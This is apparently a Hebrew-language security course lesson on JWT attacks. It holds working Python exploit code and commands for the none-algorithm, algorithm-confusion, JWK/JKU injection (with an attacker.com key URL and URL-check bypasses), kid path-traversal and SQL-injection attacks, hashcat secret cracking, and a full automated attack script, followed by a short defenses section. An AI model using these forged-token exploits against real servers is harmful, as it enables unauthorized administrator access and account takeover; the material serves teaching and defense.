לדלג לתוכן

תקיפת JWT - JWT Attacks

מבוא

טוקני JWT (JSON Web Token) הפכו לסטנדרט הנפוץ ביותר לניהול אותנטיקציה ב-API מודרניים ובאפליקציות SPA. בקורס הבסיסי למדנו מהו JWT וכיצד הוא עובד. בשיעור זה נצלול לעומק לתקיפות מתקדמות שמנצלות חולשות בהגדרות JWT, באימות חתימות ובניהול מפתחות.


סקירת מבנה JWT

טוקן JWT מורכב משלושה חלקים מופרדים בנקודות:

header.payload.signature

כל חלק מקודד ב-Base64URL. לדוגמה:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlciI6ImFkbWluIiwiaWF0IjoxNjk5MDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

פענוח ה-Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

פענוח ה-Payload:

{
  "sub": "1234",
  "user": "admin",
  "iat": 1699000000
}

החלק השלישי הוא החתימה, שנוצרת כך:

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

תקיפה 1: אלגוריתם None - None Algorithm Attack

הרקע

מפרט JWT תומך באלגוריתם none שמשמעותו "ללא חתימה". שרתים שלא מאמתים כראוי את ה-alg עלולים לקבל טוקנים ללא חתימה.

שלבי התקיפה

  1. קחו טוקן JWT תקין
  2. שנו את ה-header כך שה-alg יהיה "none"
  3. שנו את ה-payload כרצונכם
  4. הסירו את החתימה (השאירו את הנקודה האחרונה)

קוד תקיפה ב-Python

import base64
import json

def exploit_none_algorithm(token):
    """ניצול אלגוריתם none ב-JWT"""
    # פירוק הטוקן
    parts = token.split('.')

    # שינוי ה-header לאלגוריתם none
    header = {"alg": "none", "typ": "JWT"}

    # שינוי ה-payload - הפיכה לאדמין
    payload = json.loads(
        base64.urlsafe_b64decode(parts[1] + '==')
    )
    payload['role'] = 'admin'
    payload['user'] = 'administrator'

    # קידוד מחדש
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()
    ).rstrip(b'=').decode()

    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload).encode()
    ).rstrip(b'=').decode()

    # טוקן ללא חתימה - שימו לב לנקודה בסוף
    malicious_token = f"{new_header}.{new_payload}."
    return malicious_token

# שימוש
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.abc123"
print(exploit_none_algorithm(original))

וריאציות נוספות של שם האלגוריתם שעשויות לעבוד:

none_variants = ["none", "None", "NONE", "nOnE", "noNe"]

תקיפה 2: בלבול אלגוריתמים - Algorithm Confusion (RS256 to HS256)

הרקע

כאשר השרת משתמש ב-RS256 (חתימה א-סימטרית), הוא חותם עם מפתח פרטי ומאמת עם מפתח ציבורי. אם נשנה את האלגוריתם ל-HS256 (חתימה סימטרית), השרת עלול להשתמש במפתח הציבורי כסוד של HMAC.

שלבי התקיפה

  1. השיגו את המפתח הציבורי של השרת (בדרך כלל זמין ב-/.well-known/jwks.json)
  2. שנו את ה-alg מ-RS256 ל-HS256
  3. חתמו על הטוקן באמצעות HMAC עם המפתח הציבורי כסוד

קוד תקיפה

import jwt
import requests

def algorithm_confusion_attack(token, public_key_url):
    """תקיפת בלבול אלגוריתמים RS256 -> HS256"""

    # שלב 1: השגת המפתח הציבורי
    resp = requests.get(public_key_url)
    public_key = resp.text  # PEM format

    # שלב 2: פענוח הטוקן המקורי (ללא אימות)
    payload = jwt.decode(token, options={"verify_signature": False})

    # שלב 3: שינוי הנתונים
    payload['role'] = 'admin'

    # שלב 4: חתימה מחדש עם HS256
    # באמצעות המפתח הציבורי כסוד HMAC
    malicious_token = jwt.encode(
        payload,
        public_key,
        algorithm='HS256'
    )

    return malicious_token

# שימוש
token = "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.signature"
public_key_url = "https://target.com/.well-known/jwks.json"

שימו לב: ספריית PyJWT בגרסאות חדשות חוסמת תקיפה זו כברירת מחדל. יש להשתמש בגרסה ישנה או בספריה אחרת.

השגת המפתח הציבורי ממספר טוקנים

כאשר המפתח הציבורי לא זמין ישירות, ניתן לחלץ אותו משני טוקנים חתומים:

# שימוש ב-jwt_tool לחילוץ המפתח הציבורי
python3 jwt_tool.py JWT1 JWT2 -V -pk

תקיפה 3: הזרקת JWK בתוך ה-Header - JWK Header Injection

הרקע

פרמטר jwk ב-header מאפשר להטמיע מפתח ציבורי ישירות בתוך הטוקן. שרתים שסומכים על מפתח זה ללא אימות חשופים לתקיפה.

שלבי התקיפה

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt
import json

def jwk_injection_attack():
    """תקיפת הזרקת JWK ב-header"""

    # שלב 1: יצירת זוג מפתחות RSA חדש
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()

    # שלב 2: יצירת JWK מהמפתח הציבורי
    from jwt.algorithms import RSAAlgorithm
    jwk_dict = json.loads(RSAAlgorithm.to_jwk(public_key))

    # שלב 3: בניית header עם JWK מוטמע
    header = {
        "alg": "RS256",
        "typ": "JWT",
        "jwk": jwk_dict
    }

    # שלב 4: payload זדוני
    payload = {
        "sub": "admin",
        "role": "administrator",
        "iat": 1699000000,
        "exp": 1999000000
    }

    # שלב 5: חתימה עם המפתח הפרטי שלנו
    token = jwt.encode(
        payload,
        private_key,
        algorithm='RS256',
        headers={"jwk": jwk_dict}
    )

    return token

תקיפה 4: הזרקת JKU - JKU Header Injection

הרקע

פרמטר jku (JWK Set URL) מצביע על URL שממנו השרת מוריד את ערכת המפתחות. אם השרת לא מאמת כראוי את ה-URL, ניתן להפנות אותו לשרת של התוקף.

שלבי התקיפה

  1. צרו זוג מפתחות RSA
  2. ארחו את המפתח הציבורי בפורמט JWK Set בשרת שלכם
  3. שנו את ה-jku ב-header להצביע על השרת שלכם
  4. חתמו את הטוקן עם המפתח הפרטי שלכם

קוד תקיפה

import jwt
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

def jku_injection_attack(attacker_url):
    """תקיפת הזרקת JKU"""

    # יצירת מפתחות
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )

    # ה-JWK Set שיאורח בשרת התוקף
    from jwt.algorithms import RSAAlgorithm
    public_jwk = json.loads(
        RSAAlgorithm.to_jwk(private_key.public_key())
    )
    public_jwk["kid"] = "attacker-key-1"

    jwks = {
        "keys": [public_jwk]
    }

    print("[*] יש לארח את ה-JWKS הבא בשרת שלכם:")
    print(json.dumps(jwks, indent=2))

    # יצירת הטוקן הזדוני
    payload = {
        "sub": "admin",
        "role": "administrator"
    }

    token = jwt.encode(
        payload,
        private_key,
        algorithm='RS256',
        headers={
            "jku": f"{attacker_url}/.well-known/jwks.json",
            "kid": "attacker-key-1"
        }
    )

    return token

# שימוש
token = jku_injection_attack("https://attacker.com")

טכניקות לעקיפת בדיקת URL

שרתים רבים בודקים שה-jku מצביע על דומיין מורשה. טכניקות עקיפה:

# עקיפה באמצעות open redirect
https://target.com/redirect?url=https://attacker.com/jwks.json

# עקיפה באמצעות fragment
https://target.com#@attacker.com/jwks.json

# עקיפה באמצעות subdomain
https://target.com.attacker.com/jwks.json

# עקיפה באמצעות path traversal
https://target.com/..%2F..%2Fattacker.com/jwks.json

תקיפה 5: תקיפות על פרמטר kid - KID Parameter Attacks

הרקע

פרמטר kid (Key ID) מציין לשרת איזה מפתח להשתמש לאימות. אם הערך שלו מועבר לפעולות ללא סינון, ניתן לנצל זאת.

תקיפה 5.1: מעבר ספריות - Path Traversal

import jwt
import hashlib

def kid_path_traversal():
    """ניצול path traversal בפרמטר kid"""

    # הצבעה על קובץ ידוע עם תוכן ידוע
    # /dev/null מחזיר מחרוזת ריקה
    header = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "../../../../dev/null"
    }

    payload = {
        "sub": "admin",
        "role": "administrator"
    }

    # חתימה עם מחרוזת ריקה (תוכן /dev/null)
    token = jwt.encode(
        payload,
        "",  # סוד ריק - תוכן הקובץ /dev/null
        algorithm='HS256',
        headers={"kid": "../../../../dev/null"}
    )

    return token

def kid_known_file():
    """ניצול kid עם קובץ סטטי ידוע"""

    # שימוש בקובץ CSS ציבורי כסוד
    header = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "../../../../var/www/html/css/style.css"
    }

    # יש לקרוא את תוכן הקובץ הציבורי
    import requests
    css_content = requests.get(
        "https://target.com/css/style.css"
    ).text

    payload = {"sub": "admin", "role": "administrator"}

    token = jwt.encode(
        payload,
        css_content,
        algorithm='HS256',
        headers={"kid": "../../../../var/www/html/css/style.css"}
    )

    return token

תקיפה 5.2: הזרקת SQL - SQL Injection in KID

def kid_sql_injection():
    """ניצול SQL injection בפרמטר kid"""

    # אם השרת מחפש את המפתח בבסיס נתונים:
    # SELECT key FROM keys WHERE kid = '<user_input>'

    # הזרקת UNION לקבלת ערך ידוע כמפתח
    kid_payload = "' UNION SELECT 'my-secret-key' -- "

    payload = {"sub": "admin", "role": "administrator"}

    token = jwt.encode(
        payload,
        "my-secret-key",
        algorithm='HS256',
        headers={"kid": kid_payload}
    )

    return token

תקיפה 5.3: הזרקת Null Byte

def kid_null_byte():
    """ניצול null byte בפרמטר kid"""

    # ה-null byte יגרום לקטיעת הנתיב
    kid_payload = "valid-key-id\x00.pem"

    payload = {"sub": "admin"}

    token = jwt.encode(
        payload,
        "secret",
        algorithm='HS256',
        headers={"kid": kid_payload}
    )

    return token

תקיפה 6: מניפולציית חותמות זמן - Timestamp Manipulation

הרקע

טוקני JWT כוללים שדות זמן כמו exp (תפוגה), iat (זמן יצירה), ו-nbf (לא לפני). מניפולציה של שדות אלו יכולה להאריך תוקף טוקנים או לעקוף בדיקות.

import time
import jwt

def timestamp_manipulation(token, secret):
    """מניפולציית חותמות זמן ב-JWT"""

    # פענוח ללא אימות
    payload = jwt.decode(token, options={"verify_signature": False})

    # הארכת תוקף ל-10 שנים קדימה
    payload['exp'] = int(time.time()) + (10 * 365 * 24 * 3600)

    # שינוי זמן יצירה
    payload['iat'] = int(time.time())

    # הסרת nbf אם קיים
    payload.pop('nbf', None)

    # חתימה מחדש (דורש את הסוד)
    new_token = jwt.encode(payload, secret, algorithm='HS256')
    return new_token

def exploit_expired_token_acceptance(expired_token):
    """בדיקה אם השרת מקבל טוקנים שפג תוקפם"""
    import requests

    headers = {"Authorization": f"Bearer {expired_token}"}

    # שרתים מסוימים לא בודקים תפוגה
    response = requests.get(
        "https://target.com/api/admin",
        headers=headers
    )

    if response.status_code == 200:
        print("[+] השרת מקבל טוקנים שפג תוקפם!")
    return response

כלי עבודה - Tools

jwt.io

אתר אינטרנט לפענוח ובדיקת טוקני JWT. שימושי לניתוח מהיר אך לא לתקיפות.

jwt_tool

הכלי המרכזי לתקיפת JWT:

# סריקה אוטומטית של חולשות
python3 jwt_tool.py <token> -M at

# תקיפת none algorithm
python3 jwt_tool.py <token> -X a

# תקיפת algorithm confusion
python3 jwt_tool.py <token> -X k -pk public_key.pem

# שינוי ערכים ב-payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"

# שבירת סוד HMAC באמצעות מילון
python3 jwt_tool.py <token> -C -d wordlist.txt

הרחבת JWT ל-Burp Suite

1. התקינו את ההרחבה JWT Editor מה-BApp Store
2. טוקני JWT יזוהו אוטומטית בבקשות
3. לחצו על הלשונית JSON Web Token לעריכה
4. השתמשו ב-Attack לביצוע תקיפות אוטומטיות

שבירת סוד HMAC באמצעות hashcat

# המרת JWT לפורמט hashcat
echo -n "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ" > jwt_hash.txt

# שבירה עם מילון
hashcat -m 16500 jwt_hash.txt wordlist.txt

# שבירה עם brute force
hashcat -m 16500 jwt_hash.txt -a 3 ?a?a?a?a?a?a

סקריפט תקיפה מלא

#!/usr/bin/env python3
"""
סקריפט מקיף לתקיפת JWT
"""

import jwt
import json
import base64
import requests
import argparse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

class JWTAttacker:
    def __init__(self, token, target_url):
        self.token = token
        self.target_url = target_url
        self.header = self._decode_header()
        self.payload = self._decode_payload()

    def _decode_header(self):
        header_b64 = self.token.split('.')[0]
        header_b64 += '=' * (4 - len(header_b64) % 4)
        return json.loads(base64.urlsafe_b64decode(header_b64))

    def _decode_payload(self):
        payload_b64 = self.token.split('.')[1]
        payload_b64 += '=' * (4 - len(payload_b64) % 4)
        return json.loads(base64.urlsafe_b64decode(payload_b64))

    def test_none_algorithm(self):
        """בדיקת תקיפת none algorithm"""
        print("[*] בודק none algorithm...")

        for alg in ["none", "None", "NONE", "nOnE"]:
            header = {"alg": alg, "typ": "JWT"}
            payload = self.payload.copy()
            payload['role'] = 'admin'

            h = base64.urlsafe_b64encode(
                json.dumps(header).encode()
            ).rstrip(b'=').decode()
            p = base64.urlsafe_b64encode(
                json.dumps(payload).encode()
            ).rstrip(b'=').decode()

            malicious = f"{h}.{p}."

            resp = requests.get(
                self.target_url,
                headers={"Authorization": f"Bearer {malicious}"}
            )

            if resp.status_code == 200:
                print(f"[+] עבד עם: {alg}")
                return malicious

        print("[-] none algorithm לא עבד")
        return None

    def test_kid_path_traversal(self):
        """בדיקת path traversal ב-kid"""
        print("[*] בודק kid path traversal...")

        paths = [
            "../../../../dev/null",
            "../../../../etc/hostname",
            "../../../../../../../dev/null",
        ]

        for path in paths:
            payload = self.payload.copy()
            payload['role'] = 'admin'

            try:
                token = jwt.encode(
                    payload,
                    "",
                    algorithm='HS256',
                    headers={"kid": path}
                )

                resp = requests.get(
                    self.target_url,
                    headers={"Authorization": f"Bearer {token}"}
                )

                if resp.status_code == 200:
                    print(f"[+] עבד עם נתיב: {path}")
                    return token
            except Exception as e:
                continue

        print("[-] kid path traversal לא עבד")
        return None

    def info(self):
        """הדפסת מידע על הטוקן"""
        print(f"Algorithm: {self.header.get('alg')}")
        print(f"Type: {self.header.get('typ')}")
        print(f"Header: {json.dumps(self.header, indent=2)}")
        print(f"Payload: {json.dumps(self.payload, indent=2)}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="JWT Attacker")
    parser.add_argument("token", help="JWT token")
    parser.add_argument("url", help="Target URL")
    parser.add_argument("--attack", choices=[
        "none", "kid", "info", "all"
    ], default="info")

    args = parser.parse_args()
    attacker = JWTAttacker(args.token, args.url)

    if args.attack == "info":
        attacker.info()
    elif args.attack == "none":
        attacker.test_none_algorithm()
    elif args.attack == "kid":
        attacker.test_kid_path_traversal()
    elif args.attack == "all":
        attacker.info()
        attacker.test_none_algorithm()
        attacker.test_kid_path_traversal()

הגנות - Defenses

1. רשימת אלגוריתמים מותרים

# נכון - הגדרה מפורשת של אלגוריתם
payload = jwt.decode(
    token,
    secret,
    algorithms=["HS256"]  # רק אלגוריתם זה מותר
)

# שגוי - מאפשר כל אלגוריתם
payload = jwt.decode(token, secret, algorithms=jwt.algorithms.ALGORITHMS)

2. אימות כל פרמטרי ה-Header

def validate_jwt_header(token):
    """אימות header של JWT"""
    header = jwt.get_unverified_header(token)

    # בדיקת אלגוריתם
    allowed_algs = ["RS256"]
    if header.get("alg") not in allowed_algs:
        raise ValueError("אלגוריתם לא מורשה")

    # דחיית פרמטרים מסוכנים
    dangerous_params = ["jwk", "jku", "x5u", "x5c"]
    for param in dangerous_params:
        if param in header:
            raise ValueError(f"פרמטר {param} אסור ב-header")

    # אימות kid
    if "kid" in header:
        kid = header["kid"]
        if "/" in kid or ".." in kid or "'" in kid:
            raise ValueError("kid מכיל תווים אסורים")

    return True

3. ניהול מפתחות נכון

# שימוש במפתח RSA חזק (מינימום 2048 ביט)
# שימוש בסוד HMAC ארוך (מינימום 256 ביט)
# רוטציית מפתחות תקופתית
# שמירת מפתחות ב-vault מאובטח (HashiCorp Vault, AWS KMS)

4. אימות נכון של טוקנים

def validate_token(token, public_key):
    """אימות מלא של טוקן JWT"""
    try:
        payload = jwt.decode(
            token,
            public_key,
            algorithms=["RS256"],
            options={
                "verify_exp": True,
                "verify_iat": True,
                "verify_nbf": True,
                "require": ["exp", "iat", "sub"]
            }
        )
        return payload
    except jwt.ExpiredSignatureError:
        raise ValueError("הטוקן פג תוקף")
    except jwt.InvalidTokenError as e:
        raise ValueError(f"טוקן לא תקין: {e}")

סיכום

תקיפות JWT מנצלות את הגמישות של המפרט ואת ההטמעות הלקויות. הנקודות המרכזיות:

  • תמיד הגדירו רשימת אלגוריתמים מותרים מפורשת
  • לעולם אל תסמכו על פרמטרים שמגיעים מתוך הטוקן עצמו (jwk, jku, kid)
  • השתמשו בספריות מעודכנות שחוסמות תקיפות ידועות
  • בצעו אימות מלא של כל שדות הטוקן כולל חותמות זמן
  • נהלו מפתחות בצורה מאובטחת עם רוטציה תקופתית